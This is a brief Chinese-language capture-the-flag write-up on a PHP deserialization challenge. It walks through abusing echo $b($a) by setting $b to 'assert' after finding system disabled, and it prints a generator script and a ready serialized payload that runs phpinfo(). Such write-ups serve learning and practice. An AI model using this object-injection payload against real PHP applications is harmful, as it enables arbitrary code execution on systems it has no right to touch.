题目还是挺简单的
看代码
访问一下
一看就是反序列化
看看执行主要是 echo $b($a)
那就是$b是命令 $a是参数
这里还要fuzz一下 因为system不能执行
所以我们可以使用其他命令执行 函数 例如 assert
我们看看如何构造
public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";} 创建的时候 赋值 data(Y-m-d h:i:s)所以很明显 我们只需要将b设置为我们的命令函数a设置为参数即可
<?php
class HelloPhp
{ public $a="phpinfo()";public $b="assert";}
echo serialize(new HelloPhp());
payload
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
就是这么简单结束了